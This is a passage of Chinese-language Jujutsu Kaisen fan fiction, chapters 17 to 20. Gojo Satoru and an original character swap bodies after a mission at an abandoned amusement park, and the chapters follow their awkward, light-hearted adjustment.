“要进来吃饭吗?”店员是个看起来上了年纪的阿姨,笑眯眯的问着三人,并且侧身腾出空位。
家入硝子合上手机,率先走了进去:“阿姨,我们一共四人。”
“好哦,店里有单桌的。”
五条悟和夏油杰也抬腿跟上。
店内比想象中狭小,仅有一张吧台和三张四座桌子,吧台旁坐着两三个上班族。
墙壁上贴满了泛黄的菜单和手写便签,角落里的老式收音机播放着昭和时代的演歌,空气中飘散着在烤架上被炭火烧的噼啪作响的肉的香气。
店员将他们带到靠墙边的桌子旁,两个男生坐在了一边,家入硝子坐在五条悟对面,空出外面的座位留给霞岛星紘。
菜单被放在桌子上。
五条悟扫了眼上面的图和字,倒是没客气,开口道:“蜜汁鸡腿肉,盐烤鸡胸、膝软骨,鸡翅,炸鸡块,芥末章鱼……”
末了,家入硝子补充:“还有青椒酿肉。”
两人一齐看向夏油杰。
“呃……再来一份薯条吧。”
五条悟撑着腮,对点出此菜品的人发出评价:“你是小孩吗?”
上烧鸟店吃薯条和去酒吧喝牛奶有什么区别。
……还不是因为你几乎把菜单上全都点了一遍。
夏油杰心里想着,面上却笑眯眯地回道:“只是感觉喜欢炸鸡块的人也会喜欢炸薯条罢了。”
“哈?那种玩意我五岁就不吃了。”
“是吗,那不更应该尝一下了?不然单独给你来两份?”
“…想打架吗?”
“哈哈,随时奉陪。”
忽略两人的剑拔弩张,家入硝子指着两位男生对继续等待点单的店员道:“麻烦给这俩人来杯果汁,要百分百纯果汁。再给我来一杯生啤……”
“家入/你还是未成年吧?”
这句话倒是扭头说的很齐。
家入硝子不以为意的卷了卷鬓边的棕发,语气轻飘飘:“替星紘前辈点的。”
要开车的霞岛前辈更不可能喝酒吧。
夏油杰无奈的想。
瞬间信了的五条悟:“真的假的?怪不得她开车那么猛——”
……不要那么容易被骗啊。
夏油杰抚额。
“话说,不觉得星紘前辈停车的时间有点久吗?”
啤酒上桌,果不其然就
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着吸管喝起来的家入硝子开口。
大概是点菜阶段打破了那点尴尬的隔阂,五条悟逐渐展露了本性,话开始多了起来:“迷路了吧。”
“我打个电话。”
家入硝子在通讯录里找到备注着星紘前辈的电话,拨过去。
一秒、两秒……没有人接听。
她摇摇头,“没人接。”
五条悟举起手:“阿姨,离这里最近的停车场有多远啊?”
站在散发徐徐烟雾的烤架后的中年女人想了想,“大概三分钟的路程…?”
那就更奇怪了,这已经过去十多分钟了。
“我去找找。”夏油杰起身,家入的手机忽然响了起来。
女生按下接听键:“星紘……前辈?”
表情有些奇怪,在两位男生好奇的目光下,家入硝子点开了扩音。
“咯……咕…”
一阵诡异的声音透过电话传来。
夏油杰蹙眉:“这是……”
五条悟接上夏油杰的话:“是诅咒。”
家入硝子咬着吸管稀奇地看他:“怎么听出来的?”
“诅咒由咒力组成,说出的话自然也带着咒力,虽然很弱,但的确能看到有一丝咒力顺着听筒传出来。”
……看到?夏油杰抓住了这个词。
“咒力还能通过电子设备传播啊…”家入硝子叼起一根鱿鱼丝嚼嚼嚼。
“那是当然的啊,”讲解起来,五条悟意外的耐心,“贞子的录像带,玛丽的电话,这些假想咒灵都是通过电子设备传播。”
“噢……”
看着讨论起来的两人,夏油杰保持着站起来的姿势问:“我们不需要去帮助霞岛前辈吗?”
“她是特级吧。”五条悟嘴里也叼了一根鱿鱼丝,但没咬在嘴里,而是两三口吃了进去:“这种级别的诅咒在特级前不值一提。”
家入硝子搭腔:“星紘前辈可是很强的哦。”
话虽这么说……
“救……救——咯……嘶…”
电话那头又传来了声音,这一次还带着孩童稚嫩的求助声。
三人动作皆是一顿。
“五条——”
白发少年已经站了起来: “愣着干嘛?走吧。”
意气风发的年轻咒术师们毫不意外达成了共识。
“家入,你先试着联系那孩子……这是我的号码,有什么事及时联络我。”
夏油杰从菜单上写下自己的号码交给点头应下的女生,跟上五条悟的脚步出了店里。
正午时分,被云层覆盖的人太阳露出炙热的一角,高悬于头顶。
“你打算怎么找?”五条悟问。
虽然学校明令禁止校外随意使用咒力,但这种时候也顾不上规矩了。
夏油杰没有开口,而是选择了直接示范。
他抬起手,咒力自体内汹涌而出——如黑色的烟雾般缭绕在指尖,紧接着,两个面目狰狞的庞大咒灵出现在他身侧。
术式是操纵咒灵么……
五条悟勾起唇角,面向夏油杰。
他轻轻一弹指,下一秒,身影便在夏油杰的视线中消失了。
虽然没有交流,但莫名就是读懂了五条悟那个笑容含义。
——我会比你更快。
夏油杰无语。
17. No.17
没有。
能够感知咒力残留痕迹与走向的蔚蓝色眼眸浮现出一丝疑惑,再次探查后得到的信息却仍然是无。
方圆五公里内,没有符合条件的咒灵存在,甚至可以说基本上不存在能够造成威胁的咒灵。
盘算时间,应该不会超出这个范围。但也不排除出现了可以进行空间转移的咒灵。
羽毛般柔软而醒目的白色睫毛煽动,五条悟脸上没什么表情,脑袋里却在快速思索着解决办法——
“五条?”
肩膀被轻轻拍了一下。
五条悟转身,看着忽然出现在自己身后的女生,脑袋宕机了一秒钟。
“……你怎么会在这里?”
“啊…?”
霞岛星紘有点懵,他好像说出了她想要问的问题。不过既然后辈提出来了…
她抿抿唇,露出有些难过的模样,嘴角忍不住地下撇:“我…呃…你想让我走吗?好吧,我把钱付了就离开。”
刚才带迷路小孩回家耽误了一点时间,没想到一回来就听到不欢迎自己的言论——霞岛星紘其实有一点点难过。
五条悟原本没有表情的脸上怔愣了一瞬,算不上安慰,语气也有点干巴巴地解释:“我不是那个意思……”
“那就是没有讨厌我啰?”听到否认的话,霞岛星紘立刻扬起笑脸,仿佛刚才的失落只是五条悟产生的错觉。
“太好了,还以为以前的事做得太过火,会让五条家的五条君对我没什么好印象呢。”
以前……
她这么一说,五条悟好像抓住了过去的细枝末节,回忆猛地跳到了脑袋里——霞岛这个名字曾经被谁提起过。
“那件事是你……不对,现在不是说这个的时候,”话题跑出去一半,又被他紧急拉了回来:“你的手机呢?”
霞岛星紘笑眯眯答:“在家里哦,今天出门急忘记拿了。”
写下超好吃后就一直放在桌子上,早上走的时候完全忘记了手机这码事,不过由于今天的事情基本都安排妥当,不带也没什么关系。
这样么…。
五条悟俯身,对霞岛星紘认真道:“前辈,你家……闯入咒灵了啊。”
欸…
霞岛星紘盯着他漂亮的白发,纯粹的颜色总是会让人忍不住去看,但只盯了几秒,便将视线转移到那双更加耀眼的蓝上。
她思索着,恍然大悟:“啊——是恶作剧吗?需要我怎么配合?”
“……”
五条悟的表情像是被按下了暂停键,清亮的眼睛因为无法理解对方的脑回路而睁得有些圆,嘴角不自觉勾了勾,像是被无语笑了,又像是微微抽搐。
对此,五条悟选择带着她直接来到电话前——
店面门口的风铃被推开的门碰到,发出叮当声响。
“五条,星紘前辈。”
家入硝子对着赶来的两人挥挥手。
手机摆在桌子上,已经熄屏了。
点的吃的基本上齐,热气腾腾的烤串散发着金黄色光泽,座位上的两人齐齐望向走进来的两人,气氛一派祥和。
五条悟:“……”
他对握着装有果汁杯子的黑发男生问:“什么意思?”
夏油杰抬抬眼。
他其实也刚回来不久。
也是才知道,整件事,完全是一场误会。
——他们两人出去没多久,家入硝子便听到电话那边传来一个男人低沉的声音问在干嘛,与其略微交谈了一下,得知是小孩子不小心误触到了手机,又因为在看幼儿读物学习读音,才会发出像是求救的声音。
咒灵也是男人(他自称星紘前辈的朋友)的所属物,没有危害。
“我只有夏油的手机号码,联络不上你。”
家入硝子愧疚感好像不太强,但还是解释了一下。
“所以你们两个就坐在这里吃吃喝喝,”五条悟炸毛了,这次是形容词,墨镜因为激动稍稍滑了下来,他转向夏油杰,“你这家伙不是能操纵咒灵吗——”
夏油杰放下杯子,唇角上扬,声音却有一丝丝怨念:“我派出去的咒灵不敢靠近你,其中还有两只被你使用咒术时没注意到清除掉了。”
“……”五条悟沉默片刻,吐出两个字:“真弱。”
夏油杰感觉自己的额角跳了跳:“侦查用的能强到哪去,又不需要它们把侦测到的东西解决。”
“如果是我的话在看到的一瞬间就能解决掉啊。”
这家伙……
夏油杰决定收回觉得这人还不错的想法。
看着别过头互不搭理的两人,霞岛星紘忽然开口:“下午的任务,要和我一起去吗?”
收获目光x3。
霞岛星紘拍拍五条悟的后背,走到自己的座位旁,手搭在椅背却没着急坐下,而是看着夏油杰开口:“任务地点在废弃游乐园,这种充满童趣的场所也许会意外收获好用的咒灵哦。”
夏油杰想到前车之鉴:“…但是前辈,这么做的话,又会被罚写检讨吧?”
霞岛星紘拿起一串烤鸡胸。
火候刚刚好,一口咬开金黄的脆皮,里面鲜嫩多汁。
“没关系啦,夏油。”
她舔掉唇上的酱汁。
“检讨这种东西,写一次是模板,第二次只要完全照抄就好咯。”
*
乌云像一块浸了水的灰布,不过顷刻间,便沉沉地笼罩在了上方。
太阳失去了光芒,空气中散发着一股压抑的潮闷感。
破旧不堪的入口处,一块歪斜的招牌在风中摇晃。
‘幸福游乐场’几个字已经褪去了鲜艳的漆色,露出下面灰黑的铁板,旁边几道被不知道什么东西造成的裂痕,犹如张开的血盆大口,铁锈闪烁着暗沉的诡红。
稍显诡异的游乐场面前,家入硝子拿出手机,‘咔嚓’,拍了张照片。
“看不出来,你竟然对这种东西感兴趣。”五条悟站在她旁边,看着手机屏幕的图像发出感叹。
最先说想来的也是家入硝子,令人有些意外。
“能独享摩天轮哦。”家入硝子收起手机说。
男生们扫了眼好像下一秒就要从轴上脱离、变成大滚轮凶器的游乐设施,沉默片刻,分别伸出左右手,向前一步,搭在
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女生的双肩上:“R.I.P。”
家入硝子:?
这俩人,什么意思?
她拨开同级的手,走到霞岛星紘身边,指着摩天轮,两人贴着耳语不知道说了些什么,后者比划了一个ok的手势。
霞岛星紘的身影骤然消失,家入硝子重新走回两人面前,双手抱肩,下巴微微扬起。
摩天轮忽然出现丁点星光。
一开始,只是在锈蚀的缝隙间若隐若现。渐渐地,那些微小的光芒汇聚成流,沿着钢架蜿蜒流淌——
摩天轮焕然一新。
夏油杰:……
五条悟:……
霞岛星紘出现在几人身边,对女生道:“倒退到这个程度,安全方面没什么问题。”
游乐园建在郊区,又被下了帐,不用担心会被普通人看到。
家入硝子抱住她的手臂:“谢谢你星紘前辈——”
揉了揉她的头:“没关系啦,不过电力方面……”
她也没有太好的办法。
家入硝子转移目光。
夏油杰感到自己被注视。
“……”
“……”
夏油杰:“…好吧。”
最终家入硝子带着几只咒灵(负责动力)愉快地去坐了摩天轮。
满足了小女孩的愿望,也该步入正事了。
“我想想,鬼屋的方向好像是在那边……”
霞岛前辈看起来对这里很是熟悉,不需要看那张破破烂烂的乐园导览图便能选定方向。
五条悟和夏油杰一左一右走在她身后半步的位置,后者看着她轻快的步子想。
“霞岛前辈,你之前来过这里吗?”
“对呀,和朋友来这里玩过。”霞岛星紘边走边侧头,“别看现在显得很荒凉,两年前还是附近有名的游乐场呢,人超多的。不过后来因为黑心老板不发工资……”
她顿了顿,手上不知何时出现的胁差随着手腕轻轻向下一压,在空中划出一道凛冽的破空声后,突然出现的通体漆黑咒灵应声分为两半。
“…以至于员工们的怨念聚集,出现了很多咒灵,听说几个月前,有人从鬼屋里自杀。也是自那之后开始,断断续续出现有来探险的人失踪的消息。”
她像是什么都没发生般继续说着,红刃胁差被握在手中,刀柄处刻着细腻的云纹与狰狞的鬼面,交错纵横。
游乐园实际占地很小,布局紧凑,因为设施过于齐全才会看似庞大。
他们所走的这条路上布满了被丢弃的糖果纸以及爆米花桶,几乎铺成了整条路,踩上去会发出咯吱咯吱的声音。
越靠近鬼屋,咒灵出现的频率与速度便开始变快。
“这些咒灵,虽然等级不算太高,但数量上会比较多。”
谈话间,几人已经走到了鬼屋门口。
霞岛星紘停下脚步,紫发随着轻快的语调微微摆动。笑意从眼底漫上来,染得整双眸子亮如星子坠入银河——她收敛胁差,一手抓住一个圆润的咒灵,举到黑发男生面前。
“夏油同学,是想亲自挑选呢,还是前辈替你来筛选?”
18. No.18
“抱歉……我没料到会发生这种事。”
五条悟缓缓抬头,冰蓝色眼眸弯成月牙状,嘴角勾起温柔的弧度。蓝色的瞳孔深处,随着话语掠过一丝愧疚,如同被风吹皱的湖面,泛起细微的涟漪。
他伸手将一缕散落的白发别到耳后,修长手指优雅地弯曲、蜷缩。
站在他身侧的霞岛星紘眼眸垂了垂,睫毛与眼尾勾出锐利的角度,往日柔和的眉眼此刻显得有些冷峭,浑身上下散发着一股奇怪的气息——
毕竟现在,她的【内在】是五条悟。
而真正的霞岛星紘,目前正顶着五条悟的外表,对‘霞岛星紘’无奈地笑了笑,后朝镰刀伸出手试图叫她过来。
然而武器凭咒力调动,这种印刻在□□上的东西,让镰刀略有疑虑,最终却还是选择了更亲近‘霞岛星紘’。
‘五条悟’叹了口气。
看着连气质都改变的两人,夏油杰只能接受了他们的灵魂互换的事实。
这事说起来就很离谱。
没有强到他们三人都打不过的咒灵,也不存在被偷袭或者没反应过来的情况。甚至连以前来这里探险、亦或者恶作剧留下的放在门上没被察觉到的油漆桶都躲过去了。
只是普普通通踏入了这个房间后,两人忽然像约定好了般齐齐单膝跪地。
靠后一步的夏油杰懵了,一瞬间还以为是什么他不知道的咒术师仪式,思索着要不要也跟着跪的时候,两个人又起来了。
什么也没说,对视一眼后一副欲言又止的模样。
‘霞岛星紘’捡起掉在地上的墨镜递给‘五条悟’,后者反应过来抿了抿嘴角,抚着她的肩膀说了句抱歉。
随后又好像什么都没发生。
直到‘五条悟’笑着走出房间拍了拍夏油杰的脑袋说哇这就是高个子的视角吗?
夏油杰:?
他想报警。
拨号键还没来得及按下,便被‘霞岛星紘’拿走了手机。
简单对夏油杰解释了一遍——但两位受害者似乎也搞不清楚为什么会发生这种事,忙了半天没说出个所以然。
于是便出现了开头的一幕。
(*以下出现的名字跟随灵魂,请自行带入另一个人的脸)
“不清楚造成原因的话,岂不是连换回来的方法都不知道?”夏油杰问。
霞岛星紘微微一笑:“别担心,前辈会想办法解决的。”
的确是霞岛前辈的语气,但顶着五条的脸…………
还是太奇怪了。夏油杰想。
五条悟左右环顾比自己高的两人,朝白发那位勾了勾手指——霞岛星紘配合的弯腰下,任由那双金色眼眸观察。
原来他有这么高啊。
本身就高的人对身高反而没什么概念,以第三视角去看自己的脸也很奇怪,不似照镜子那样用自己的双眼去观察,而是用别人的眼睛来描摹自己。
“怎么了?”霞岛星紘问,“啊…放心吧,五条君帅气的脸,我会保护好的。”
五条悟一愣:“……哈?”
原本想说的话反而错失了说出来的时间。
话说这家伙的脸皮也太薄了吧,骤然升起的温度感觉都能烫到自己一样。
本质上是男生的五条悟做不来捂脸这种娇羞的动作,只能看着自己的脸和蓝眸在注视到绯红后露出有些奇怪的表情。
“如果有什么不适,要及时告诉我哦。”霞岛星紘说。
叮嘱过后,几人便去外面找家入硝子。
对于灵魂互换这件事,家入硝子接受度良好,她只是新奇地转了两圈,然后对顶着星紘前辈脸的五条悟问道:
“五条,你会开车吗?”
“……”
好问题。
霞岛星紘转动自己的小脑瓜:“其实用我的能力,我们可以直接回学校的,嗯……五条君只要这样,”她手在空中比划了一下,试图给五条悟演示自己的术式:“想象现在这一刻与这一个点交汇,将他们延展拉成一条直线,注入咒力后再将其折叠,然后……”
五条悟尝试——五条悟失败。
咒力凝聚而成的球状物在空中飘了几秒,啪的爆开了。
“没关系,第一次都会有一点麻烦……”她安慰道,“可以想象有一粒沙子——”
五条悟抬起手。
轰隆一声——
由指尖射/出的咒力将不远处的旋转木马击了个粉碎。
木屑和彩绘碎片在空中乱舞,掀起的尘土后露出四人或惊愕或无措的脸。
霞岛星紘拍板定案。
“好,我们打车回去吧。”
*
“撑不住了么?”
五条悟蹲在一进屋便靠坐着宿舍门旁的霞岛星紘面前,看她试图勾起唇角,但被胃部猛地收缩打断,脸色又苍白了一度。
“啊……想把头砸烂,这是正常的吗?”
像是用眼过度眼压升高后,充斥着酸涩感的眼眶与隐隐作痛的太阳穴,然后将所有感觉调大至一百倍,睁开眼睛会加重,闭上眼睛又仿佛有什么东西快要从眼睛里跳出来一样,根本没有缓解的方法。
脑袋痛,眼睛痛,脑袋和眼睛连接的部分更痛,胃也痛,是焦虑带来的功能性疼痛。
好不容易撑到学校,能在后辈不在的地方稍稍露出狼狈的模样。
“想也知道不正常啊。忍着做什么,想吐就吐出来呗。”
五条悟其实也不是很懂别人拥有六眼后会是什么感受,这玩意自出生起就跟着他。
他做不到感同身受的安慰,只能引导。
“要不然你试着把注意力聚焦在我身上。”
霞岛星紘手攥拳搁置嘴边,指尖泛着用力的白:“看到自己的脸我会想笑。”
尤其是,五条悟以叉开腿的姿势蹲在自己面前。
他看着她的视线,下意识并拢双腿,却因为掌握不好平衡向后一仰——霞岛星紘拉了他一把。
“没关系,反正只有我们两个人,按照你喜欢的姿势就好。”
这话怎么听起来怪怪的。
面对乱说话且不配合的患者,五条医生抓了抓脑袋,“如果不想看我,那就看天花板……算了你自己选吧。”
霞岛星紘小幅度的点头,视线在房间里逛了一圈,开始盯着自己的手发呆——准确来说是五条悟的手。
指尖泛着健康的淡粉色,指甲修剪得干净整齐,边缘呈圆润的弧形。指节匀称,线条流畅如玉石雕琢,泛着温润的光。
手指弯曲又展开。
她比划:“如果我的手也这么大,就不会有武器脱手的时候了。”
——容易脱手的镰刀渡月因为坐车不方便携带,暂时放在了游乐园。
听她这么说,五条悟低头看向自己这具身体的手。
好小。
那也是当然的了吧,毕竟身高摆在这里,霞岛星紘只到他胸前的位置,每次看她还要低头…
欸——等等。
他是不是忽略了什么。
五条悟看着因为蹲姿与手臂所触碰到的部位,
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眨了眨眼睛。
啊。
五条悟的适应能力很强,互换身体对他来说,反而更像是强制性的休息。
他习惯了用自己的眼睛去处理这个世界带给他的信息并消化,但那并不代表不喜欢休息。
又不是傻子。
可直到此刻他才后知后觉一件事——自己在一个女孩子的体内。
虽然相互触碰的也是她自己的肌肤,但当你察觉到自己所掌控的身体并非自己时,一切的感官会在突然间变得陌生。
五条悟猛地起身——而这一刻,这具一直接收不到休息信号的身体瞬间给出了罢工反馈。
眩晕,腿软接踵而至。
五条悟平躺着在地上,望着身上一手垫在自己脑后、一手撑着地板的霞岛星紘,眉头蹙起又舒展,似是不解。
……不是,她就拖着这副身体出任务吗?
怪不得一路上一直在问他有没有哪里感觉到不舒服。
“你还好吗,五条?”霞岛星紘关切地问。
两人之间的距离很近。
五条悟别扭地伸手挡住霞岛星紘的眼睛:“别随随便便用别人的脸露出这种表情啊……”
那种关心又着急的表情……而且这个姿势,奇怪啊,太奇怪了吧!
五条悟并不算什么封建的人,相反,他性格挺开放的。以流行的明星作为壁纸,也会因为被女生要了联系方式而开心,亦或者藏在床底的h书……其实本质上和普通的青少年没差,至少最强这个标签,没有将他彻底与普通划开界限。
可这些情况与身体互换是完全不能划对等——即使是稍有好感的明星站在面前,他估计也只会与对方合个影之类的,连身体接触都不会有。女朋友就更别提了,他出任务的次数完全足以占据日常生活。至于那方面更是只停留在纸上谈兵。
但现在,他所用的,所看的,所触摸到的全部都是对方。
与异性的距离忽然从100变成了0。
思想开放与行为保守从来都不是冲突的。在心里觉得她漂亮和冒犯地去触摸她的脸颊也是不同的。
原本觉得身体互换也不算什么要紧事的五条悟,忽然觉得糟糕透了。
不知道这种情况还需要维持多久,万一,他是说万一很久的话…
岂不是会有超级糟糕的情况出现。
“原谅我吧,我也是知道自己身体情况才会这样的啦。”霞岛星紘的道歉打断了他脑内翻涌的想法,“最近的确比较忙,不过和五条互换后,身体也能稍微休息一段时间……啊,这么一说,这是件好事也说不定哦。”
真是乐观啊。
而且,未免也太从容了吧。
这样不就搞得和在意的人只有他一样吗?
有那么一些好胜心的五条悟故作淡定地撇了撇嘴。
他半坐起身,却尽可能地不再触碰到任何位置,动作有些僵硬。
“那个结界,你有头绪么?”
“嗯…算有吧。”霞岛星紘在他旁边坐下。
是的,两人并没有将真相说出来。
鬼屋里的房间,其实被设下了‘只有一人能进入’的结界。
不过由于两个人的术式,导致这个结界出现了一点差错——结果就变成了两人灵魂互换。
“但具体的,我还需要去调查一下,在结果回来之前,请五条君先用我的身体好好休息一下吧。”
那双蔚蓝色的眼睛这么说。
五条悟:“……”
究竟是谁教她这么说话的啊。
19. No.19
五条悟没能压制住这具身体汹涌澎湃的困意睡了一觉。
醒来时天色还没完全黑透,只是大片乌云堆积在头顶,遮住了阳光。外面淅淅沥沥下着雨,雨水打在屋檐上发出噼里啪啦有节奏的声响。
秋雨让屋子里很闷,又很冷,木质家具泛着一股潮气,连带着身上都冷了起来。
这种天气下,五条悟却觉得神清气爽。
真是奇怪,明明只要好好休息一下就没问题了的事,人怎么能把自己耗到那种地步?
他伸了个懒腰,双臂刚刚伸展,忽然感觉胸口被勒得有点喘不过气。
五条悟动作一僵。
脑袋里已经自动出现了答案。
好像,应该,大概。
是跑偏了。
总之那个东西没有在它该在的位置。
他盯着床尾,单手扶住额头。
——超级糟糕的情况还是出现了。
一开始五条悟以为自己会遇上的麻烦是咒术方面的。意识到男女差距后又觉得麻烦变成了对‘自己’的触碰。
但没想到,最先到来的竟然是……内衣。
也不知道霞岛去了哪里。啊不对,让现在的她来做这件事简直更像是犯罪啊。
五条悟决定暂时性地忽略那一点点呼吸困难,他起床去卫生间,打开水龙头往自己脸上扑了一把水。
镜子里的紫发女生眼中已经褪去了稍显疲惫的红血丝,黑眼圈依存但不那么明显了,显然充足的睡眠十分有用。
一呼一吸间又是被束缚的感觉,他视线不经意向下移了些。
他发誓,只是习惯性地向下看了一眼。
紧身的羊毛衫成为了身材的放大器,将被忽略的问题打上代表错误的圆圈。
下一秒,镜子里的女孩脸色暴红。
再下一秒,镜子碎了。
…找个外套吧。
五条悟收起拳头,故作镇定地走到衣柜前,打开,又猛地关上。
他蹲在衣柜前,顾不上其他,揉乱一头短发。
粉色的,白色的,黑色的……
整整齐齐。
什么啊…什么啊??不应该藏起…不是,至少也要放在不起眼的位置吧。
正巧此时房门被敲响。
拉开门,霞岛星紘看着头发乱糟糟的五条悟有些惊讶。
“怎么了?”
“…没什么。”
见对方好像不太想细说的样子,霞岛星紘也没多问,而是简单道明了来意——两人的身体需要一些时间才能恢复,由于六眼的特殊性,北原修一希望将事情压下来,暂时不上报,否则这边的事还没解决,高层那边可能又会蹦出新的麻烦。
“五条君是怎么想的?”
执意要回来与五条悟商量后再做决策的霞岛星紘坐在床边,左肩被雨水淋湿,氤出一小块痕迹。
“其实上报的话,可能会更容易找到解决方法哦。”
就算再没用,也是一群多活了几十年的家伙,手上掌握的歪门邪道应该不会少。
五条悟看起来有些心不在焉,说了句随便。
扫过那边肩膀时,他的视线顿了顿。
以往有术式在,是不会出现这种情况的。
看她的脸色还是很差,估计根本没将他说的先好好休息听进去,就直接跑出去调查汇报了。
笨蛋么……
虽然相处时间不多,但五条悟已经彻底明白了——这家伙完全就是烂好人一个。
一直笑眯眯的样子,拖着半残废(也没有那么重)的身体还要付出额外的精力去满足别人的需求,明明都是受害者却偏偏要摆出一副满是歉意的,像是把错误都揽到自己身上一样的表情。
霞岛星紘顺着他的目光看向肩膀:“啊……我的伞对于五条君的身体来说还是有点小呢。”
“你怎么想的?”五条悟抱肩,扬着下巴问她。
“…嗯?”
“我说,你希望这件事上报吗?”
“当然不,”霞岛星紘意外地并没有说些客套话,而是笑了起来,“他们本来就看我不爽,说不定恢复后会直接以此当借口把我判处死刑呢。”
毕竟威胁到五条悟和威胁高层相比,前者听起来滑稽,但比起后者更像个合适的借口。
虽然这话由这副表情说出来有点像是在开玩笑,却是真的有可能发生的事。
五条悟晃了晃睡僵的脖子,由于身高他要仰视,睫毛盖住了一半的金色瞳孔,将表情显得有些冷漠:“那就直接做出决定不就好了。”
但语言不会。
语言永远是最直接体现情绪的方式。
他这么说,不是讽刺不是反嘲,只是单纯地觉得这件事霞岛星紘其实没必要来问他,可以直接做出对自己有利的决定。
没必要为此淋到了雨。
“那样对你不公平……”她伸手,轻轻捻掉挂在‘自己’脸上嘴角旁的发丝,“况且,说不定正是因为知道五条君会这么说,我才会过来的哦。”
“……”
“事实证明,我的选择没有错,对吧?”
此时若有第三人出现,一定会为那张帅气脸上的明媚笑容所震撼吧。
可惜五条悟对自己的脸免疫。
“噢。”他说。
霞岛星紘见他一直别扭地抱着肩,又问:“真的没事吗?”
……说不出口。
但这样下去明显是不行的,他总不能维持这样的状态一直到身体恢复吧。
五条悟思索片刻,还是放下了手。
霞岛星紘:…?
“…你自己来,弄、一…下。”
久久没有得到回应。
“前辈?霞岛前辈?星紘?”
白发男生看起来好像呆滞住了,几秒后才反应过来:“啊……好。”
睫毛轻颤,咬着下唇。
看起来一点也不像不在意的样子。
但五条悟此刻已无心在乎输赢了,他自己也尴尬得不得了。
好像躲在房间里做些什么不能被人发现的事情一样。
乌云成为了遮住外界的暗幕,房间里也没有开灯。
霞岛星紘伸出手,停在半空。
……这不是她的手。
霞岛星紘抬起头认真道:“我们就当作什么都不知道吧。”
“哈?”
“就是……”
她指尖插入发间,将额前的白发掀起,露出无奈又羞涩的笑容。
看起来像是自暴自弃,实际上也是真没辙了。
“身体互换期间我们做什么都不用告知对方,等到交换回来,我们就把这段记忆遗忘,怎么样?”
*
四周一片空白。
凸起的鹅卵石铺成了一条窄窄的路,尽头是一栋看起来有些奇怪的房子。
五条悟伸开五指。
梦中,他恢复了本来的模样。
他向前一步。
原本还有些距离的房子转瞬间出现在眼前,像是在催促赶快他进去。
五条悟看着几乎与自己齐平的门框,勾了勾唇角,没觉得诡异,反而有些匪夷所思地想——这样的视角才算顺眼。
那副身体还是有点太矮了。
他推开门。
身体在进去的瞬间感觉到一股浓烈的冷意。
仿佛空气都凝固成了冰碴。
恐惧,拒绝。
是残存在霞岛星紘身体里的感觉。
这里是停尸房。
五条悟目光扫过一排排金属柜,最终落在靠着手术台、坐在地上的紫发女生身上。
冷白的灯光在头顶摇晃,投下斑驳摇曳的阴影。
看不清她的脸,但浑身脏兮兮的,破损衣物下的伤口还流着血,在地上汇聚成了一小滩。
手术台上躺着一具尸体,被白布盖着一部分。
五条悟试着上前。
然后他醒了。
这其实是五条悟第二次梦到那个场景,白天休息时已经见到过,同样也是在准备上前看清尸体的面容时醒来。
床旁的
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闹钟显示当前时间是凌晨三点,脑袋发出了不能再睡下去的信号。
雨没有停。
五条悟拿起手机,在键盘上点了几下,按下发送键,几乎没过几秒钟,电话铃声便响了起来。
“……你怎么还没睡。”
这家伙不会又在熬夜了吧?
“睡了哦,不过五条君你的睡眠好像比较浅,听到短信的声音就自动醒了。” 接通后霞岛星紘的声音隔了一会才传来,声音哑哑的,“是做了奇怪的梦吗?抱……”
“抱歉——?”五条悟咧嘴,虽然对方看不到。
“到底要道歉几次啊,你也太小心翼翼了吧?”
“欸……有吗。”
“就有啊。”五条悟说。
他盯着天花板有些烦躁地皱了皱眉,语气却没什么变化:“你在害怕我么?”
有不少人说过他很可怕。
不仅是敌人。
被那双眼睛注视着很恐怖,感觉被看穿了之类的。
依五条悟的性子不会对此过分在意,但偶尔想起来也会感觉到不太舒服。
没人会喜欢被惧怕着。五条悟也是一样的。
他听到霞岛星紘叹了口气,正准备说算了睡觉,便听那边声音又响起:“我们讲个睡前故事吧。”
“…什么?”
“从前,有一个小女孩。”
怎么就自顾自地讲起来了……
五条悟心里想着,却只是翻了个身,将手机压在耳下,没有打断。
霞岛星紘的声音娓娓传来。
“她是一个咒术师,没什么天赋,术式觉醒的时间都要比别人晚很多。”
“但她有两个非常好的伙伴,能够帮助她完成好多困难的任务。”
“有一天,她和小伙伴们被困在了一个以他们当前实力几乎不可能完成的任务中。”
“危难之际,小女孩觉醒了领域。”
电话那边轻轻咳了一声,“要不要猜猜结局怎么样?”
五条悟怎么会不知道她说的是自己。
“小女孩打败诅咒带着伙伴逃出来了。”
“嗯…那是再后面一点的结局。”霞岛星紘却说。
“因为操纵术式需要非常集中精神,稍微出一点点差错就可能会造成严重的后果。但是女孩的伙伴们不知道,小伙伴以为眉头紧皱的小女孩受到了伤害,焦急地呼唤她的名字……”
“于是她的能力暴走啦。”
“…然后呢。”
“创建出来的通道将附近所有的诅咒都传送了过来,原本的1v3,变成了Nv3。小女孩一边哭一边试图阻止能力的暴走,她的小伙伴在旁边努力保护她的安全……”
仿佛想到了当时的画面,声音是带着笑意的。
“虽然结局是好的,不过其实小女孩直到现在还不能完全控制自己的术式哦。尤其在有超——级多工作的最近,她很害怕会再次出现那种情况。”
“所以,和你没有关系,她只是不信任自己的身体和能力罢了。”
电话那边轻笑了一声。
“五条君明明很温柔,怎么会害怕你呢?不要再对我说这种话了哦。”
“……”
电话那边许久才传来五条悟的声音,好像比之前要轻松愉悦:“你以为在和你打电话的人谁啊?那种事……担心完全是多余的。”
她的声音却更低沉了,甚至还有些吞字:“这样啊,五条君,真是可靠。”
迷迷糊糊……困了吧?
“五条,或者悟。”五条悟说,“别那么叫我了。”
“好嘛……”
霞岛星紘应着,五条悟也没再说话。
电话里渐渐传来了均匀的呼吸声。
五条悟听了一会,按下静音,将电话放在床边,坐了起来。
甘露洗劫过的天空被月光映出纯净的颜色,大地重新照亮,屋檐上残留的水滴断断续续的掉落着,树林中再次传来虫鸣。
金色眼眸望向窗外。
——雨停了。
20.No.20
北原修一偷偷顶了霞岛星紘的班,好心的无薪加班替自己学生完成堆积如山的任务——但仅限开学前,开学后还有一堆忙不完的活。
临行前北原修一对二人千叮咛万嘱咐不要出来乱晃,小心被人发现端倪。
于是霞岛星紘少见地睡到了日上三竿。
没做梦。
醒来时昨天拿出来的备用手机已经关机了,加载过热以至于放在枕头上的那一部分还是温温的,霞岛星紘眯着眼睛勾手拽过充电器,将手机充上电,又抱着枕头趴了一会才从床上坐起来。
是男生的体温要高一些吗,怎么感觉有点热……
被子不知何时踢到了地下,她拽了拽被系到最上面一颗的领口,试图通过煽动灌进去一些风来降温,但从窗户投射进来的阳光洒在身上,将那一点点凉爽又烫灭了。
……起床吧。
霞岛星紘盯着床单上的云朵图案想。
